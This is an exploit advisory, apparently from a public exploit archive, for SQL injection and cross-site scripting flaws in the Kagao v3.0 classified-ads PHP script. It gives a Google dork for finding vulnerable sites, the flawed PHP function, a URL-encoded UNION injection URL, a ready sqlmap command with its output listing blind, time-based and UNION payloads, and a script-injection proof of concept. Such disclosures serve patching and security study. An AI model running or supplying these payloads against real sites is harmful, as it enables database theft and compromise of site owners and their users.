######################
# Application Name : Kagao v3.0 - Professional Classified Market
# Google Dork : inurl:/cat1.php?id2=
# Exploit Author : Cyber Warrior | Bug Researchers Group | N4TuraL
# Vendor Homepage : http://kogaoscript.com/
# Vulnerable Type : SQL Injection & Cross Site Scripting
# Date : 2016-06-26
# Tested on : Windows 10 / Mozilla Firefox
# Linux / Mozilla Firefox
# Linux / sqlmap 1.0.6.28#dev
###################### SQL Injection Vulnerability ######################
# Location :
http://localhost/[path]/cat1.php
######################
# Vulnerable code :
function pagenat(){
$buildLink = array(
"id" => intval($_GET['id']),
"id2" => isset($_GET['id2']) ? intval($_GET['id2']) : '',
"suche" => htmlspecialchars($_GET['suche']),
"sucheWo" => htmlspecialchars($_GET['sucheWo']),
"umkreis" => intval($_GET['umkreis']),
"page" => ""
);
$buildLink = http_build_query($buildLink);
$buildLink = 'cat1.php?' . $buildLink;
if($_GET['id2']){
$pages_num = getZahlPage($_GET['id2'], 'unterkategorie');
}
else{
$pages_num = getZahlPage($_GET['id'], 'kategorie');
}
$page = (isset($_GET['page'])) ? max($_GET['page'], 1) : 1;
$pages = ($pages_num > 1) ? pages($pages_num, $page, $buildLink) : '';
echo $pages;
}
######################
# PoC Exploit:
http://localhost/[path]/cat1.php?id2=999999.9%22%20union%20all%20select%20concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29%20as%20char%29%29%29%2C0x27%2C0x7e%29--%20a
# Exploit Code via sqlmap:
sqlmap -u http://localhost/[path]/cat1.php?id2=10 --dbms=mysql --random-agent --technique=BUESTQ --dbs --tamper=versionedkeywords --level=3 --risk=3 --no-cast
Parameter: id2 (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id2=10" AND 9863=9863 AND "UvFy"="UvFy
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id2=10" AND SLEEP(5) AND "Zxun"="Zxun
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: id2=-5676" UNION ALL SELECT CONCAT(0x716b786271,0x4e77456d62457a716850544f776d506c7679624969616c6b47417542766c4152464c6a665a7a7064,0x7162767671)-- vvJN
---
###################### Cross Site Scripting Vulnerability ######################
# PoC Exploit:
Search: "><script>alert('n4tural');</script>
http://localhost/[path]/cat1.php?id2=0&pricestart=0&room=&flache=&price=&zulassung=&kilometer=&kraftstoff=&id3=0&suche=%22%3E%3Cscript%3Ealert%28%27n4tural%27%29%3B%3C%2Fscript%3E&id=0&sucheWo=&umkreis=0
######################
